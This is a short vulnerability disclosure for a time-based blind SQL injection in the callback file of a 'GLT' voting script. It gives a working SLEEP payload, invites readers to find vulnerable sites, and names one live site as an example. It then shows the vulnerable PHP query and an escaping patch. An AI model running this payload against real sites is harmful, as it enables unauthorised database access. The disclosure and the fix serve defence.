POC(Proof Of Concept):
+++++++++++++++++++++++++
1) Simply find a GLT site and go to the callback file and add /vote/php/callback.php?callback=1' AND (SELECT * FROM (SELECT(SLEEP(10)))bgus) AND 'jcaE'='jcaE
2) If the site takes time to load it's vulnerable because of the sleep query
3) Same Site:http://nexusrs.ca/voting/php/callback.php?callback=1' AND
(SELECT * FROM (SELECT(SLEEP(10)))bgus) AND 'jcaE'='jcaE

Sanitizing:

Hard File Edit:
+++++++++++++++++++++++++


1)
public function setSiteVoted($ip, $type)
{
$type = intval($type);
$query = "SELECT * FROM `voting_verification` WHERE `ip` = '" . $ip
. "' AND `type`='" . $type . "'";
$result = mysql_query($query);
if (mysql_num_rows($result) == 0)
{
mysql_query("INSERT INTO `voting_verification` (`ip`, `type`)
VALUES ('" . $ip . "', '" . $type . "')");
}
}

callback isn't sanitized before being passed into setSiteVoted here is how to patch it.


2)
public function setSiteVoted($ip, $type)
{
$type = intval($type);
$ip_clean = mysql_real_escape_string($ip);
$query = "SELECT * FROM `voting_verification` WHERE `ip` = '"
. $ip_clean . "' AND `type`='" . $type . "'";
$result = mysql_query($query);
if (mysql_num_rows($result) == 0)
{
mysql_query("INSERT INTO `voting_verification` (`ip`, `type`)
VALUES ('" . $ip_clean . "', '" . $type . "')");
}
}
